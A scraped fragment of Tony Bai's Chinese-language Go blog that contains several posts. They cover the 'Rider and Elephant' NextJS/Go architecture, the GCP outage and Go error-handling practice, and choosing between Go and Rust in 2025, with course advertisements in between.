无论你是希望在技术深度上更进一步，还是想在面试中展现对Go并发的透彻理解，亦或是对计算机系统底层原理充满好奇，这个微专栏都将是一次不容错过的思想盛宴。\n这不仅仅是一次对“Go原理”的学习，更是一次与顶尖工程师设计思想的碰撞与共鸣。\n准备好成为Go调度器设计过程的“参与者”了吗？扫下方二维码订阅，让我们一起，拨开并发调度的层层迷雾，探寻其核心的艺术与智慧。\n更多有关Go、AI以及云原生的深度微专栏，请点击【微专栏】合集选择订阅。\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/06/18/inside-goroutine-scheduler-column/","summary":"\u003cp\u003e解构Go并发之核，与Dmitry Vyukov共探Go调度艺术 - Tony Bai\u003c/p\u003e\n\u003cp\u003e===============\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e","title":"解构Go并发之核，与Dmitry Vyukov共探Go调度艺术"},{"content":"“骑手与大象”架构：超越微服务与单体之争的务实之道？ - Tony Bai\n===============\nTony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n文章列表\n“骑手与大象”架构：超越微服务与单体之争的务实之道？ 六月 17, 2025 0 条评论 本文永久链接 – https://tonybai.com/2025/06/17/rider-elephant-arch\n大家好，我是Tony Bai。\n在软件架构的江湖里，关于“微服务”与“单体”的论战，几乎从未停歇。一方推崇微服务的灵活性、可扩展性和独立部署，另一方则坚守单体的简洁性、低通信开销和易于本地调试。近年来，我们甚至看到像亚马逊 Prime Video 这样重量级的玩家，也公开分享了其从微服务“回归”到某种形式的单体（或者说更粗粒度的服务）的实践，引发了业界新一轮的思考。\n这不禁让我们反问：微服务与单体，真的就是非此即彼的“二元对立”吗？\n最近，国外一家名为DealGate公司的一篇文章《Introducing the Rider and Elephant Software Architecture》，提出了一种他们称之为“骑手与大象”的架构模式，试图在这场看似无解的争论中，找到一条务实的中间道路。这种模式不仅在他们的实践中取得了显著成效，其背后的设计哲学和对技术选型的思考，也颇具启发意义。\n“骑手与大象”：一个古老隐喻的现代架构演绎 DealGate 将其架构模式命名为“骑手与大象”，其灵感来源于心理学中的一个经典比喻：人类的思维由两部分组成——理性的“骑手”（对应我们发达的前额叶皮层，负责规划、分析和决策）和感性的、更强大的“大象”（对应我们原始的、更底层的“蜥蜴脑”或“穴居人脑”，驱动着本能和情绪）。骑手虽然可以尝试引导大象，但无法完全控制它；而如果骑手想独自前行，又会发现大象的力量是其无法比拟的。只有当骑手与大象协同合作时，才能发挥出最大的效能。\n在 DealGate 的架构中，这个隐喻被巧妙地映射到了技术组件上：\n“大象 (Elephant)”：由 Go语言构建的应用。它不包含任何复杂的业务逻辑，但却承担着所有“脏活累活”——大规模的、高并发的数据处理。在 DealGate 的场景中，这可能意味着在任何时刻都有数万个 goroutine 在处理图像、PDF，抓取数千万级别的网页，并在每个网页上运行数千万次的正则表达式匹配。“大象”的核心职责是：强大、高效、能扛事儿。 “骑手 (Rider)”：由NextJS (Node.js) 构建的应用。它承载了所有的业务逻辑、数据库访问、用户交互等。“骑手”的核心职责是：灵活、敏捷、快速响应业务变化。 缰绳 (Communication)：“骑手”通过 gRPC 来“引导”和控制“大象”，两者之间保持低开销、高效率的通信。 这种架构的核心思想是：将需要极致性能和高并发处理的“重计算”部分（大象），与需要快速迭代和灵活业务逻辑的“轻应用”部分（骑手）进行分离，并让它们通过高效的通信方式协同工作。\n为何选择“骑手与大象”？DealGate 的实践与思考 DealGate 之所以采用这种架构，源于他们在实际业务中遇到的挑战和对现有架构模式的反思。\n对“微服务 vs 单体”的“虚假二分法”说不：他们认为，单纯地在微服务和单体之间做选择，往往忽略了业务的复杂性和多样性。他们希望能够“have the best of both worlds”（取两者之长）。 Node.js/NextJS 的局限性：尽管 DealGate 的主要应用是用 NextJS 编写的，但他们发现，即使 Node.js 在 I/O 和网络处理上有多线程优势，其正则表达式等 CPU 密集型操作仍然受限于单线程（JavaScript 的执行模型）。当需要在后台进行大量正则匹配，同时还要响应 Web 应用请求时，性能瓶颈就显而易见了。 Go 语言的“大象”潜质：文章中明确指出：“Go语言非常适合这种场景，你可以轻松地扔给它数万个CPU密集型进程，它会愉快地处理掉所有这些”。这充分肯定了 Go 语言在并发处理和性能方面的核心优势。 对微服务通信开销的警惕：DealGate 批评了许多微服务架构使用 JSON 进行进程间通信的做法，认为其“序列化和反序列化开销是令人发指的”。他们选择 gRPC，正是为了最大限度地降低“骑手”与“大象”之间的通信成本，确保即使在需要传输大量数据（因为“大象”不包含业务逻辑，需要被视为“愚笨的工人”）的情况下，也能保持高效。 Go 语言：扮演“大象”的理想之选 在“骑手与大象”的架构中，Go 语言之所以被选中扮演“吃苦耐劳的大象”，并非偶然。这得益于 Go 语言的核心特性：\n极致的并发性能：Goroutine 和 Channel 机制，配合高效的调度器，使得 Go 能够轻松创建和管理海量的并发任务，这对于处理 DealGate 所述的“数万个 goroutine 同时处理数据”的场景至关重要。 高效的执行效率：Go 语言编译为原生机器码，其性能接近 C/C++，远超解释型语言，非常适合 CPU 密集型的数据处理任务。 强大的标准库：Go 的标准库提供了丰富的网络编程、文本处理（包括正则表达式）、数据编解码等功能，为构建“大象”应用提供了坚实的基础。 简洁的部署：Go 应用可以编译成单个静态链接的可执行文件，部署简单，依赖少。 可以说，Go 语言的设计哲学和核心能力，使其成为承载这种“无业务逻辑、高并发、重计算”角色的理想选择。\n语言选型的“二八原则”与“务实主义” “骑手与大象”架构的另一个核心启示，在于其对不同技术栈的选择策略，体现了一种深刻的“务实主义”和对“成本效益”的考量。\n文章明确反驳了“既然有更高性能的语言（如 Rust 或 Go 本身），为什么不把所有应用都用它来写？”的观点，并将其类比为“那所有应用都应该用汇编来写了”。\n其核心逻辑是：\n高级语言（如 JavaScript, Python）的优势：更安全（内存管理等）、生产力更高（表达力强、语法糖和轮子多）、开发者社群更大、单位时间开发成本相对更低。 高性能/底层语言（如 Go, Rust, C++）的优势：性能极致、对系统资源有更精细的控制。但通常也意味着更陡峭的学习曲线、更高的开发成本、以及（在某些情况下）更长的开发周期。 DealGate 的策略是：“在你必须快的地方快，其他一切都选择高级语言和（相对）单体的模式。” 这意味着：\n将昂贵的、需要精细优化的高性能代码（大象）限制在最小的必要范围内（例如，只占整个业务系统的 10%）。 将大部分的业务逻辑、用户交互（骑手）用生产力更高、开发更快的高级语言来实现。 这种“混合编程”或“多语言架构”的思路，实际上是在性能、开发效率、人才获取成本、维护成本等多个维度之间进行权衡和优化。它提醒我们，技术选型不应盲目追求“最新最酷”或“性能极致”，而应服务于业务需求，并充分考虑团队和公司的实际情况。\n文章中也提及了对“Just write Rust”（就用 Rust 写）这类口号的反思，指出大多数公司和开发者可能无法承担全员学习和使用像 Rust 这样“高门槛”语言的成本。这并非否定 Rust 的优秀，而是强调技术选型的现实约束。\n小结：“没有完美的解决方案，只有明智的权衡” “没有完美的解决方案，只有权衡取舍”。DealGate 的文章以这句经典的名言作为总结，恰如其分。\n“骑手与大象”架构，正是在微服务的灵活性、分布式能力与单体的低心智负担、高开发效率之间做出的一种明智权衡。它并非适用于所有场景的“银弹”，但在类似 DealGate 这样需要处理大规模数据密集型任务，同时又需要快速迭代业务逻辑的场景下，无疑提供了一种极具价值的、务实的架构思路。\n它也再次印证了一个朴素的道理：优秀的架构设计，往往不是对某种“主义”的盲从，而是对业务需求的深刻理解和对不同技术优劣的精准把握，最终在各种约束条件下找到那个“恰到好处”的平衡点。\n或许，在微服务与单体的喧嚣争论之外，我们更应该学习这种“骑手与大象”的智慧——在正确的地方，用正确的方式，做正确的事情。\n参考文献：\nIntroducing the Rider and Elephant Software Architecture – https://d-gate.io/blog/rider-and-elephant-architecture\n聊一聊，也帮个忙：\n你如何看待 DealGate 提出的“骑手与大象”架构模式？它是否对你的项目有所启发？ 在你的工作中，是否也遇到过类似的“微服务 vs 单体”或“高性能 vs 高生产力”的选型困境？你是如何权衡的？ Go 语言在你心目中，更适合扮演“骑手”还是“大象”的角色？或者两者皆可，取决于具体场景？ 欢迎在评论区留下你的思考和经验。如果你觉得这篇文章提供了一个有价值的视角，也请转发给你身边的开发者和架构师朋友们，一起探讨更务实的架构之道！\n精进有道，更上层楼\n极客时间《Go语言进阶课》上架刚好一个月，受到了各位读者的热烈欢迎和反馈。在这里感谢大家的支持。目前我们已经完成了课程模块一『语法强化篇』的 13 讲，为你系统突破 Go 语言的语法认知瓶颈，打下坚实基础。\n现在，我们即将进入模块二『设计先行篇』，这不仅包括 API 设计，更涵盖了项目布局、包设计、并发设计、接口设计、错误处理设计等构建高质量 Go 代码的关键要素。\n这门进阶课程，是我多年 Go 实战经验和深度思考的结晶，旨在帮助你突破瓶颈，从“会用 Go”迈向“精通 Go”，真正驾驭 Go 语言，编写出更优雅、\n更高效、更可靠的生产级代码！\n扫描下方二维码，立即开启你的 Go 语言进阶之旅！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/06/17/rider-elephant-arch/","summary":"\u003cp\u003e“骑手与大象”架构：超越微服务与单体之争的务实之道？ - Tony Bai\u003c/p\u003e\n\u003cp\u003e===============\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e","title":"“骑手与大象”架构：超越微服务与单体之争的务实之道？"},{"content":"GCP大面积故障，Go语言是“元凶”还是“背锅侠”？ - Tony Bai\n===============\nTony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n文章列表\nGCP大面积故障，Go语言是“元凶”还是“背锅侠”？ 六月 16, 2025 0 条评论 本文永久链接 – https://tonybai.com/2025/06/16/go-avoid-critical-incident\n大家好，我是Tony Bai。\n科技圈的每一次“风吹草动”，尤其是大型云服务的故障，总能引发我们技术人无数的讨论与反思。最近，一则关于“Google Cloud Platform (GCP) Service Control 在 2025 年 6 月发生重大故障”的消息，及其事后分析报告中直指的“null pointer crash loop”，在技术社区掀起了不小的波澜。\n故障报告中还提到了几个雪上加霜的因素：没有特性标志 (Feature Flags) 进行高风险部署、缺乏优雅的错误处理（二进制文件直接崩溃而非优雅降级）、以及没有回退机制导致系统过载。\n考虑到 Go 语言在 Google 内部（如 Kubernetes, Cloud Run 等）以及整个云原生领域的广泛应用，一个自然而然的疑问浮出水面：Go语言是否是这次 GCP 故障的“元凶”？或者说，Go 的某些特性，是否在某种程度上“助长”了这类问题的发生？反过来，Go 的设计又是否本可以帮助避免这样的灾难？\n这这篇文章中，我们就结合社区的智慧，从Go语言特性和更广泛的软件工程实践角度，来剖析一下这类故障背后的深层原因。这不仅是对一个故障的假想复盘，更是对我们日常开发实践的一次警醒。\nGo 语言特性：是“防火墙”还是“导火索”？ 社区论坛上的讨论，首先就聚焦在了 Go 语言本身的一些特性上。\n显式错误返回 (if err != nil)：万无一失还是“防君子不防小人”？ 有开发者认为，Go 标志性的显式错误返回设计（即函数返回 (value, error)，调用者必须检查 err），本应是避免错误的有力武器。但也有观点指出，这种模式的“简洁性”（或者说，可以通过 _ 忽略错误的便利性）有时反而可能在项目压力大、追求快速上线时，被开发者有意或无意地跳过，导致潜在的错误处理缺失。比如常见的 value, _ := someFunction() 写法。\nGo的显式错误返回，确实为构建健壮软件提供了坚实的基础。它将错误视为一等公民，迫使开发者直面错误处理。但语言提供的机制，终究不能替代开发者的责任心和良好的编码习惯。正如有些开发者提到的，golangci-lint 这样的静态检查工具可以有效地发现未检查的错误，但这需要团队将其融入开发流程并严格执行。**语言设计提供了“防火墙”，但工程师的素养和流程的完备性，才是决定防火墙是否真正起作用的关键。\nNil Pointer Panic：Go 也难逃的“魔爪”？ 针对报告中提到的“null pointer crash loop”，许多评论者指出，nil 指针 panic 在 Go 中也并非罕见。Go 语言本身允许指针存在，也允许指针为 nil，并且不像 Rust 的 Option/Result 类型或 C# 的可空引用类型那样，在语言层面强制开发者处理潜在的 nil 情况。\n的确，Go 语言的设计哲学是简洁，它相信开发者有能力正确处理指针。避免 nil panic 的核心在于良好的编码实践：防御性编程（在使用指针前进行检查）、最小化指针使用（Go 鼓励值传递，许多场景可以完全避免指针）、以及充分的测试（特别是边界条件和异常路径）。虽然 Go 没有语言层面的强制 nil 检查，但其简洁性也使得这类检查的成本相对较低。\npanic/recover 机制：救命稻草还是饮鸩止渴？ 有开发者分享经验，倾向于用 panic/recover 包裹所有核心逻辑，试图捕获所有潜在的运行时崩溃。但针对像故障中提到的 Service Control 这样的有状态、高关键性的系统，这种做法也引发了质疑：recover 后的程序状态是否真的可靠？强行“续命”一个可能已处于不一致状态的进程，是否比让它快速失败并由外部监控系统（如 Kubernetes）重启更安全？关于这个问题，我曾在《“这代码迟早出事！”——复盘线上问题：六个让你头痛的Go编码坏味道》一文中也讨论过。\npanic/recover 在 Go 中有其特定的适用场景，例如在库的边界将内部的 panic 转换为 error 返回给调用者，或者处理真正意外且难以通过常规错误处理覆盖的严重问题。但对于关键业务服务，尤其是有状态的服务，“fail fast” 依然是目前社区认为的更可取的设计。让服务在遇到严重内部错误时快速、干净地退出，依赖外部的健康检查和自动重启机制来恢复服务，往往比试图在不确定的状态下继续运行更稳妥。\n这样来看，Go 语言的设计，如显式错误处理，确实为构建可靠系统提供了工具。但它并不提供“银弹”，也不能完全消除诸如 nil 指针解引用这类逻辑错误的可能性。语言特性是基础，但绝非全部。\n超越语言：流程、测试与工程文化的“灵魂拷问” 在针对该故障的讨论中，一个压倒性的共识是：这类大型系统故障，往往更多是软件工程流程、测试策略和工程文化上的问题，而非单一语言设计所能左右。\n“100% 测试覆盖率”的迷思与测试策略的缺位 有开发者提出“你可以覆盖 100% 的代码行，但你永远无法覆盖 100% 的输入和状态组合。” 这句话一针见血。过度迷信行覆盖率，而忽略了测试的深度和广度，是许多团队的通病。\n那么真正有效的测试策略应该是什么呢？显然单一的测试策略是无法保证程序上线后的质量的。下面是几种常见的测试策略：\n单元测试 (Unit Testing): 验证开发者对代码单元在预期输入下的行为。 模糊测试 (Fuzz Testing): 通过自动生成大量随机或变异输入，探索代码的边缘情况和未知缺陷。Go 1.18 已将 Fuzz Testing 内置到标准工具链中，这是一个强大的武器。 集成测试 (Integration Testing): 验证模块间的交互。 端到端测试 (End-to-End Testing): 模拟真实用户场景。 生产测试/灰度发布 (Staged Rollouts / Canary Releases): 在真实生产环境中，小范围、逐步地验证变更的可靠性，这是大型系统发布的“金丝雀”。 这些策略显而易见，但又有多少团队能真正全面的做到呢？\n特性标志 (Feature Flags)：高风险变更的“安全阀” 故障报告中提到了“没有特性标志进行风险部署”，这几乎是大型系统发布的“大忌”。特性标志允许团队在不重新部署代码的情况下，动态地开启或关闭某项功能，从而：\n安全地进行 A/B 测试。 逐步向用户灰度上线新功能，控制风险。 在出现问题时，能够快速关闭故障功能，实现秒级“回滚”（功能层面）。 缺乏特性标志，意味着任何高风险的变更都像是在“裸奔”。\n优雅降级与回滚预案：Plan B 的重要性 系统出错在所难免，关键在于出错后如何表现。故障报告中“二进制崩溃而非优雅降级”以及“没有随机回退导致过载”，都指向了系统鲁棒性的缺失。\n优雅降级: 当核心服务出现问题时，非关键功能是否可以降级服务，保证核心可用性？例如，推荐系统不可用时，是否可以展示默认热门内容，而不是整个页面崩溃？ 回滚计划: 任何部署都应该有明确、经过演练的回滚计划。出现问题时，能否快速、安全地回退到上一个稳定版本？ 代码审查、自动化工具与工程文化 严格的代码审查: 是发现逻辑错误、不规范写法（如忽略错误、滥用指针）的重要手段。 静态分析与 Linter：golangci-lint 等工具可以自动化地检查出大量潜在问题，包括未处理的错误、不安全的并发操作等。但正如有些开发者在评论中所言，“linters can be disabled”，关键还是在于流程的执行。 警惕“Vibe Coding”：有开发者犀利地指出“Garbage in, garbage out”。如果团队强依赖AI的“氛围”编码，而缺乏对生成代码的审查，那么无论用什么语言，都可能埋下隐患。 重视流程而非迷信工具：许多评论都强调，即使有再好的语言特性或工具，如果缺乏健全的开发、测试、部署流程，以及对质量负责的工程文化，故障依然难以避免。 AI 辅助编程：是“帮手”还是新的“风险源”？ 一个有趣的衍生讨论是关于 AI 辅助编程（如 GitHub Copilot、Google Gemini Code Assist）在其中的角色。\n有开发者提到，Google 内部已有大量代码由 Gemini 生成。也有人分享使用 AI 辅助编程的体验，认为其在作为“结对编程伙伴”或“辅助搜索”时有价值，但完全自动生成的代码质量参差不齐，有时甚至会引入“幻觉”和新的 bug。\nAI 辅助编程无疑是未来的趋势，它有可能提高开发效率，辅助开发者处理重复性工作。但目前来看，AI 生成的代码更需要、而不是更不需要人类的严格审查和充分测试。将 AI 视为一个能提供建议、加速编码的助手是合适的，但如果过度依赖，甚至将其生成的代码不经审视直接合入生产，那无异于引入了新的、更不可控的风险源。特别是在错误处理、并发安全、边界条件这些需要深度思考的领域，AI至少目前还难以完全替代经验丰富的工程师，尤其是一些mission critical的系统中。不要被那些用AI生成一个简单工具站的“AI战果”所迷惑。\n小节：语言是利器，工程实践才是灵魂 回到最初的问题：GCP Service Control 的这次故障，Go 语言是“元凶”还是“背锅侠”？\n从 社区的讨论和我们的分析来看，将板子完全打在 Go 语言身上，显然是有失公允的。Go 语言的设计，如其显式错误处理、简洁性带来的高可读性、以及强大的并发能力，都为构建健壮、高效的系统提供了良好的基础。\n然而，语言终究只是工具，它不能替代健全的软件工程流程和严谨的工程文化。 此次 GCP 故障所暴露出的问题——无论是可能的 nil 指针解引用，还是更宏观的缺乏特性标志、部署策略失当、错误处理不优雅——更多地指向了在测试、部署、风险控制、质量保障等一系列工程实践环节可能存在的缺失。\n对于我们 Go 开发者而言，这次事件给我们带来的启示应该是：\n充分利用 Go 的优势： 写出符合 Go 惯例的、清晰的错误处理逻辑；审慎使用指针，做好 nil 检查；发挥 Go 并发模型的威力。 拥抱并严格执行工程最佳实践： 将单元测试、集成测试、模糊测试落到实处；在重要变更上线时，务必使用特性标志和灰度发布策略；建立严格的代码审查机制；利用好静态分析工具。 对 AI 保持理性： 善用 AI 辅助工具提高效率，但绝不能放松对代码质量的把控和人工审查的力度。 最终，构建一个真正高可用、高可靠的大型系统，依赖的绝不仅仅是选择一门“好”的语言，更在于整个团队对卓越工程实践的持续追求和严格执行。\n你对这次讨论有什么看法？或者在你的 Go 项目中，是如何保障系统稳定性的？欢迎在评论区留下你的宝贵经验！\n精进有道，更上层楼\n极客时间《Go语言进阶课》上架刚好一个月，受到了各位读者的热烈欢迎和反馈。在这里感谢大家的支持。目前我们已经完成了课程模块一『语法强化篇』的 13 讲，为你系统突破 Go 语言的语法认知瓶颈，打下坚实基础。\n现在，我们即将进入模块二『设计先行篇』，这不仅包括 API 设计，更涵盖了项目布局、包设计、并发设计、接口设计、错误处理设计等构建高质\u0026gt;量 Go 代码的关键要素。\n这门进阶课程，是我多年 Go 实战经验和深度思考的结晶，旨在帮助你突破瓶颈，从“会用 Go”迈向“精通 Go”，真正驾驭 Go 语言，编写出更优雅、\n更高效、更可靠的生产级代码！\n扫描下方二维码，立即开启你的 Go 语言进阶之旅！\n感谢阅读！\n如果这篇文章让你对Go语言有了新的认识，请帮忙转发，让更多朋友一起学习和进步！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/06/16/go-avoid-critical-incident/","summary":"\u003cp\u003eGCP大面积故障，Go语言是“元凶”还是“背锅侠”？ - Tony Bai\u003c/p\u003e\n\u003cp\u003e===============\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e","title":"GCP大面积故障，Go语言是“元凶”还是“背锅侠”？"},{"content":"Go还是Rust？2025年技术选型之辩 - Tony Bai\n===============\nTony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n文章列表\nGo还是Rust？2025年技术选型之辩 六月 15, 2025 0 条评论 本文永久链接 – https://tonybai.com/2025/06/15/rust-vs-go-2025\n大家好，我是Tony Bai。\n技术圈的话题里，从来不缺少编程语言之争，并且这类话题向来热度不减。最近，JetBrains 旗下的 RustRover 博客发表了一篇题为《Rust vs Go: Which one to choose in 2025》的文章，并引用了《State of Developer Ecosystem Report 2024》的一些数据，再次将 Go 和 Rust 这两位“当红炸子鸡”推上了对比的擂台。\n文章指出，Rust 和 Go 都在现代计算领域开辟了重要的生态位，尤其在系统级操作和并发处理方面备受赞誉。报告数据也颇为亮眼：Rust 的用户基数已达到约 227 万，其中 70.9 万开发者将其作为主要语言；而 Go 的用户基础依然稳固。但一个颇具“引战”潜力的数据点是——“约 1/6 的 Go 用户正在考虑转向 Rust”。\n这不禁让人深思：这是否预示着某种趋势？在即将到来的 2025 年，当面临新的项目或技术升级时，我们究竟应该选择 Go 还是 Rust？作为一名在 Go 领域深耕多年的老兵，我想结合 RustRover 的这篇文章，谈谈我的一些看法，希望能为正在做技术选型的你，提供一些来自 Go 视角的参考。\n文章核心观点速览(与Go的对比) 首先，我们简要回顾一下RustRover这篇博客文章中对两种语言核心特性和适用场景的概括（以下观点主要转述自原文）：\nRust的画像：极致安全与性能的追求者 核心理念：无 GC 的内存安全（所有权、借用机制，编译时强制检查），无数据竞争的并发。 性能表现：非常接近 C++，零成本抽象，计算密集型任务通常更快，内存占用更低。 适用场景：系统编程 (OS、嵌入式)、IoT、WebAssembly、区块链、云基础设施、网络编程、CLI 工具等对性能和安全要求极致的领域。 学习曲线：陡峭。所有权、借用、生命周期、以及严格的编译器对新手构成较大挑战。 生态：年轻但发展迅速，Cargo 包管理器和 crates.io 体验优秀，社区充满热情。但在库的全面性上可能尚不及 Go。 Rust在内存安全和底层控制方面的确做到了极致，其编译期检查能消除许多运行时风险，这在特定高安全、高性能场景下是巨大优势。然而，这种极致是以显著牺牲开发效率和上手速度为代价的。\nGo的画像：简洁高效与工程化生产力的典范 核心理念：简洁、高效、可读性强，易学易用。 并发模型：内置 Goroutines 和 Channels，轻松实现高并发。 性能表现：高效的 GC，优秀的网络性能，尤其适合构建高并发网络服务。 适用场景：云基础设施 (Docker, K8s)、Web 服务与 API、网络编程、DevOps 工具、CLI 工具。 学习曲线：平缓。简约的设计哲学和少量关键字，使得 Go 非常容易上手。 生态：拥有强大且全面的标准库，成熟的工具链，以及庞大且活跃的社区，尤其在云原生领域具有主导地位。 Go的核心竞争力在于其卓越的工程效率和在构建大规模分布式系统方面的成熟度。它的 GC 和并发模型虽然不如 Rust 那样在理论上“完美”，但在绝大多数实际应用中，提供了远超许多语言的生产力和性能平衡。\n文章还从性能、易用性、并发、生态等多个维度对两者进行了对比，总体而言，强调了 Rust 在底层控制、内存安全和理论性能上的优势，以及 Go 在开发效率、并发易用性和生态成熟度上的长处。\n解读“1/6 Go 用户考虑转向 Rust”：是焦虑还是理性探索？ 这个数据点无疑是最引人注目的。我们该如何看待？\n首先，不必过度焦虑。Go 语言的用户基数依然庞大且在持续增长。技术领域永远不乏对新工具、新范式的好奇与探索。一部分 Gopher 考虑 Rust，可能源于以下几点原因：\n对特定场景的极致追求：在某些对内存安全、性能要求达到严苛级别，且愿意投入更高学习成本的项目中（例如操作系统内核、游戏引擎、某些嵌入式系统），Rust 的特性确实更具吸引力。 技术视野的拓展：优秀的开发者总是乐于学习新事物。了解 Rust 的所有权模型等独特设计，本身就能拓宽技术视野，甚至反过来促进对 Go 并发安全和资源管理的更深理解。 对 Go 某些方面的“不满”：尽管 Go 的 GC 经过了多年优化，但在极少数对延迟极度敏感或内存分配模式特殊的场景下，GC 带来的不可预测性仍可能成为痛点。此外，Go 的错误处理方式（if err != nil）虽然清晰，但其冗余性也常被诟病。Rust 的 Result 类型和 ? 操作符提供了一种不同的体验。 然而，“考虑转向”不等于“实际转向”，更不等于“大规模流失”。从“考虑”到在生产项目中大规模采用一种学习曲线陡峭、生态相对年轻的语言，中间还有很长的路要走。团队技能储备、项目时间压力、招聘难度、现有基础设施兼容性等都是现实的考量因素。\n更重要的是，Go 语言自身也在不断进化。泛型的引入弥补了表达力上的一块短板；性能分析和调试工具日益完善；标准库持续增强；社区也在不断探索新的最佳实践。Go团队对生产力和生产就绪的承诺，使其能够持续满足绝大多数后端和云原生场景的需求。\n我的Go视角：场景驱动，务实选择，拥抱互补 在我看来(可能也是很多Gopher的想法)，Go与Rust之争，很多时候并非“有你无我”的零和博弈，而更应回归到场景驱动的技术选型。\nGo的核心阵地依然稳固 高并发网络服务：Go 的 Goroutine + Channel 模型在构建需要处理大量并发连接的后端服务（如 API网关、微服务、消息队列等）时，其简洁性、高效性和成熟度依然是无与伦比的。这是 Go 的“龙兴之地”，也是其最强大的生态位。 云原生基础设施：Docker、Kubernetes、Prometheus、Terraform、Etcd……这些构建了现代云计算基石的项目，无一不是用 Go 编写。Go 在这个领域的生态、工具链和人才储备，使其成为构建云原生应用和平台的首选。 DevOps 与 CLI 工具：Go 编译速度快、交叉编译方便、部署简单（静态链接），使其成为编写各类运维工具、CLI 应用的理想选择。 追求工程效率和快速迭代的团队：Go 的简洁易学、快速编译和强大的标准库，使得团队能够快速上手、高效协作，快速将产品推向市场。 Rust 的独特优势区间 对内存安全和零开销抽象有极致要求的系统级编程：当你需要直接操作硬件、编写操作系统组件、或者开发对性能和资源控制要求极度严苛（且无法容忍 GC 暂停）的底层库时，Rust 的优势非常明显。 WebAssembly (Wasm)：Rust 凭借其性能和对 Wasm 的良好支持，在构建高性能 Web 前端组件或浏览器插件方面展现出巨大潜力。 安全关键领域：在一些对安全漏洞容忍度极低的领域，Rust 编译期的严格检查能提供更强的保障。 Go 与 Rust 的互补与融合 早在2021年，时任谷歌Go编程语言的产品和战略负责人的史蒂夫·弗朗西亚（Steve Francia），也就是gohugo、viper等一簇明星Go开源项目的作者就曾提出过“Go与Rust强强联合”的观点。\n与其将Go与Rust视为绝对的竞争对手，不如看到它们的互补性。在一个复杂的系统中，完全可能出现 Go 与 Rust 各司其职的场景：例如，用 Rust 编写对性能和内存安全要求最高的底层核心计算模块或驱动，然后用 Go 来构建上层的业务逻辑、API 接口和分布式调度系统。这种“强强联合”或许是未来的一种趋势。\n给 Gopher 的建议：深耕当下，放眼未来 面对 Rust 的崛起和社区的讨论，作为 Gopher，我们应该：\n坚定对 Go 的信心： Go 在其核心优势领域（高并发、网络编程、云原生、工程效率）的地位依然稳固且在持续增强。Go 社区的活力和 Google 的持续投入，保证了 Go 的未来发展。 深耕 Go 的核心能力： 充分理解和掌握 Go 的并发模型、内存管理、标准库和工具链，才能在实际项目中发挥其最大价值。不要因为外界的喧嚣而动摇对基础的夯实。 保持开放心态，按需学习： 了解 Rust 等其他优秀语言的设计思想和适用场景，是有益的。如果你的工作场景确实需要 Rust 的特性，或者你对系统底层有浓厚兴趣，学习 Rust 会是一个很好的补充。但不必为了“时髦”而盲目追逐。 关注 Go 的演进： Go 也在不断吸取社区反馈并进行改进。例如，对性能的持续优化（如 Go 1.24中map的Swiss Table实现、Go 1.25中新增的“绿茶”新GC）、对泛型的支持、对工具链的打磨等，都在让 Go 变得更好。 技术选型，务实为本： 最终选择哪种语言，永远要服务于项目目标、团队能力和业务需求。没有“最好”的语言，只有“最合适”的语言。TypeScript编译器原生化选择Go就是一个很好的例子。 小结：2025，Go 与 Rust 各自精彩 RustRover 的文章及其引用的报告，为我们提供了一个观察当前编程语言生态动态的窗口。Rust 的确是一门优秀且充满潜力的语言，它在特定领域展现出的强大实力值得肯定。\n然而，对于绝大多数追求高并发处理能力、高开发效率、快速迭代、以及需要在庞大而成熟的云原生生态中构建应用的场景而言，Go 语言在 2025 年乃至更远的未来，依然会是极其明智和强大的选择。\n“1/6 的 Go 用户考虑转向 Rust”，这或许正说明了 Go 社区的开发者们视野开阔，乐于学习。但更重要的是，在探索新可能的同时，我们更要清醒地认识到自己手中工具的价值和核心竞争力。\nGo 与 Rust，未来更可能是并驾齐驱，在各自擅长的领域大放异彩，甚至在某些场景下携手共进。作为技术人，理解它们的区别与联系，做出最适合自己的选择，才是最重要的。\n你对 Go 和 Rust 的未来怎么看？欢迎在评论区分享你的观点！\n精进有道，更上层楼\n极客时间《Go语言进阶课》上架刚好一个月，受到了各位读者的热烈欢迎和反馈。在这\u0026gt;里感谢大家的支持。目前我们已经完成了课程模块一『语法强化篇』的 13 讲，为你系统突破 Go 